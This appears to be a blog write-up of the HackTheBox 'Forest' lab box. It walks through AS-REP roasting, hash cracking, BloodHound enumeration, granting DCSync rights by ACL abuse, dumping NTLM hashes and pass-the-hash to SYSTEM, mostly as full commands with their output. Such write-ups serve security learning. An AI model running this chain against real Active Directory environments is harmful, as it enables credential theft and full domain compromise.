December 16, 2023 | 21:01

HackTheBox - Forest

Forst from HackTheBox is a Windows box, in which we first enumerate users via SMB and then use ASREP Roasting to get AD credentials of a service account. After that, we can add that account to an Exchange group that allows the assignment of DCSync privileges in order to dump NTLM hashes.

Port Scanning

The open TCP ports indicate that we’re dealing with a domain controller for the htb.local domain running Windows Server 2016:

PORT      STATE SERVICE      REASON  VERSION
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-05-03 19:09:49Z)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?    syn-ack
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
47001/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack Microsoft Windows RPC
49671/tcp open  msrpc        syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc        syn-ack Microsoft Windows RPC
49680/tcp open  msrpc        syn-ack Microsoft Windows RPC
49700/tcp open  msrpc        syn-ack Microsoft Windows RPC
49951/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2024-05-03T12:10:43-07:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 32753/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 39765/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 44587/udp): CLEAN (Timeout)
|   Check 4 (port 23138/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 2h27m34s, deviation: 4h02m31s, median: 7m33s
| smb2-time: 
|   date: 2024-05-03T19:10:42
|_  start_date: 2024-05-02T11:51:19

Domain User Enumeration

We can use Crackmapexec to anonymously get a list of users:

$ crackmapexec smb 10.129.214.219 -u '' -p '' --users
SMB         10.129.207.218  445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.129.207.218  445    FOREST           [-] Error enumerating domain users using dc ip 10.129.207.218: NTLM needs domain\username and a password
SMB         10.129.207.218  445    FOREST           [*] Trying with SAMRPC protocol
SMB         10.129.207.218  445    FOREST           [+] Enumerated domain user(s)
SMB         10.129.207.218  445    FOREST           htb.local\Administrator                  Built-in account for administering the computer/domain
SMB         10.129.207.218  445    FOREST           htb.local\Guest                          Built-in account for guest access to the computer/domain
SMB         10.129.207.218  445    FOREST           htb.local\krbtgt                         Key Distribution Center Service Account
SMB         10.129.207.218  445    FOREST           htb.local\DefaultAccount                 A user account managed by the system.
SMB         10.129.207.218  445    FOREST           htb.local\$331000-VK4ADACQNUCA           
SMB         10.129.207.218  445    FOREST           htb.local\SM_2c8eef0a09b545acb           
SMB         10.129.207.218  445    FOREST           htb.local\SM_ca8c2ed5bdab4dc9b           
SMB         10.129.207.218  445    FOREST           htb.local\SM_75a538d3025e4db9a           
SMB         10.129.207.218  445    FOREST           htb.local\SM_681f53d4942840e18           
SMB         10.129.207.218  445    FOREST           htb.local\SM_1b41c9286325456bb           
SMB         10.129.207.218  445    FOREST           htb.local\SM_9b69f1b9d2cc45549           
SMB         10.129.207.218  445    FOREST           htb.local\SM_7c96b981967141ebb           
SMB         10.129.207.218  445    FOREST           htb.local\SM_c75ee099d0a64c91b           
SMB         10.129.207.218  445    FOREST           htb.local\SM_1ffab36a2f5f479cb           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailboxc3d7722           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailboxfc9daad           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailboxc0a90c9           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox670628e           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox968e74d           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox6ded678           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox83d6781           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailboxfd87238           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailboxb01ac64           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox7108a4e           
SMB         10.129.207.218  445    FOREST           htb.local\HealthMailbox0659cc1           
SMB         10.129.207.218  445    FOREST           htb.local\sebastien                      
SMB         10.129.207.218  445    FOREST           htb.local\lucinda                        
SMB         10.129.207.218  445    FOREST           htb.local\svc-alfresco                   
SMB         10.129.207.218  445    FOREST           htb.local\andy                           
SMB         10.129.207.218  445    FOREST           htb.local\mark                           
SMB         10.129.207.218  445    FOREST           htb.local\santi

Using rpcclient we can also enumerate the the groups they belong to:

$ rpcclient -U '' -N 10.129.214.219             
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> queryusergroups 0x479
	group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47a
	group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47b
	group rid:[0x201] attr:[0x7]
	group rid:[0x47c] attr:[0x7]
rpcclient $> queryusergroups 0x47e
	group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x47f
	group rid:[0x201] attr:[0x7]
rpcclient $> queryusergroups 0x480
	group rid:[0x201] attr:[0x7]
rpcclient $> querygroup 0x201
	Group Name:	Domain Users
	Description:	All domain users
	Group Attribute:7
	Num Members:30
rpcclient $> querygroup 0x47c
	Group Name:	Service Accounts
	Description:	
	Group Attribute:7
	Num Members:1

ASREP Roasting

Now that we have the names of some users, we try to perform an ASREP Roast, which will try to get crackable hashes of users that have Kerberos pre-authentication disabled.

First, we create a file named users with the usernames we are interested in:

Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi

The impacket’s GetNPUsers script can then be used to query the hashes:

$ impacket-GetNPUsers htb.local/ -dc-ip 10.129.214.219 -usersfile users -outputfile hashes.htb.local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:37a5852121b1cd2858db3d832a7b61e5$d2ad713279e8c74c6be647041ec90095bb25d8583b8dec8b4b2a445af2faab62f1ee5f5b1dfe14dce0583f3ba288ec24a80380c5f1302bdf055468a8419210d65a145f3f4522e399a0697f2a982e2e35fa4f7bb1967ce3342107c1d5f8cac06afa13b26f76f90709ffc604b695fc7cf8ba222f8eb1cc4dfdb15eecbd8be11a6bb775c6fe3484fa1e433f295fb653727407fb988e54010b87cb3b09a66195992be4e72854ce097ffd125ca8e9b2ce808f375d72b01a0d5ae7fea46273acced7154a51d6bd85cb77b1229b78e1f3d1552c064d5e71c11546b5dfa04b12149ed2f96d2a800eee7b
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

Finally, we use john to crack the hash of svc-alfresco:

$ john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt hashes.htb.local
[...SNIPPED...]
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)     
[...SNIPPED...]

Port 5985 is open, so we can use winrm to get a shell on the target and can read out the user flag:

$ evil-winrm -i 10.129.214.219 -u svc-alfresco -p s3rvice
[...SNIPPED...]
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
8af[...SNIPPED...]
[...SNIPPED...]

Bloodhound

We use bloodhound to further enumerate the Active Directory. First, we transfer and run the SharpHound.ps1 collector on the target:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> . .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-Bloodhound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Documents

We start neo4j and bloodhound, transfer the collected ZIP file back from the target and upload it to bloodhound:

$ sudo neo4j console
$ bloodhound

We want to find the path from our pwned account svc-alfresco to domain admin, so we click on the Pathfinding icon and select SVC-ALFRESCO@HTB.LOCAL as start and DOMAIN ADMINS@HTB.LOCAL as target node. This will show us

Shadow Credentials

Both upper paths are about the msDS-KeyCredentialLink and may be exploited using pyWhisker. I added the user svc-alfresco to the Enterprise Key Admins group and tried to create shadow credentials on FOREST$ using pywhisker. However, trying to use gettgtpkinit.py to request a TGT lead to an KDC_ERR_PADATA_TYPE_NOSUPP error, which according to pyWhisker is due to an unmet pre-requisite, that the DC needs to have ots own certificate and keys. The commands I used are:

# Add svc-alfresco to Enterprise Key Admins
*Evil-WinRM* PS pi:\> Add-DomainGroupMember -Identity 'Enterprise Key Admins' -Members 'svc-alfresco'
*Evil-WinRM* PS pi:\> Get-DomainGroupMember -Identity 'Enterprise Key Admins'
# try to get a TGT
$ python3 pywhisker.py --dc-ip 10.129.214.219 -d "htb.local" -u "svc-alfresco" -p "s3rvice" --target "FOREST$" --action "add"
[*] Searching for the target account
[*] Target user found: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 2843a645-182d-5a69-1635-fbb30428953e
[*] Updating the msDS-KeyCredentialLink attribute of FOREST$
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: gRvsBmH3.pfx
[*] Must be used with password: xO9yLsMmt2Meowf66fTG
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
$ python gettgtpkinit.py -cert-pfx ../pywhisker/gRvsBmH3.pfx -pfx-pass xO9yLsMmt2Meowf66fTG -dc-ip 10.129.214.219 htb.local/forest$ ccache 
2024-05-13 13:30:42,687 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-05-13 13:30:42,697 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
[...SNIPPED...]
minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"

More on this shadow credentials attack can be found in the writeup of HTB Outdated by 0xdf here.

DCSync Attack

Following the below path, we’ll see that the Exchange Windows Permissions group has WriteDacl on the domain. To abuse this, we may grant ourselves DCSync privileges to dump NTLM hashes.

First, we add the svc-alfresco account to the Exchange Windows Permissions group (using PowerView):

*Evil-WinRM* PS pi:\> Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'
*Evil-WinRM* PS pi:\> Get-DomainGroupMember -Identity 'Exchange Windows Permissions'

Using Powerview, we can give svc-alfresco the DCsync privileges:

PS C:\> $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)
PS C:\> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync

Now we can abuse these replication priviliges to dump hashes:

$ impacket-secretsdump svc-alfresco:s3rvice@10.129.214.219 -outputfile dcsync_hashes
[...SNIPPED...]
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[...SNIPPED...]

We can pass the hash to get a SYSTEM shell and grab the root flag:

$ impacket-psexec htb.local/administrator@10.129.214.219 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
[...SNIPPED...]
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
d78b[...SNIPPED...]

Cracking the hashes will also give as the password of the santi user:

$ hashcat -m 1000 -a 0 dcsync_hashes.ntds /usr/share/wordlists/rockyou.txt
[...SNIPPED...]
483d4c70248510d8e0acb6066cd89072:plokmijnuhb              
9248997e4ef68ca2bb47ae4e6f128668:s3rvice
[...SNIPPED...]

Aftermath

Interesting things I read in other writeups:

  • Alfresco is an enterprise software that can be used for document management among others. It’s documentation states that Kerberos preauthentication needs to be disabled.
  • The Account Operators group is a default AD group, whose members are allowed to create and modify users and add them to non-protected groups.
  • There is a script C:\Users\Administrator\Documents\revert.ps1 which resets the password of svc-alfresco and user privileges. That’s why we need to be fast in running the commands to modify the group membership and privileges of svc-alfresco. Maybe, we should’ve created a new user to perform the DCSync attack.

© Pavel Pi 2021

Powered by Hugo & Kiss'Em.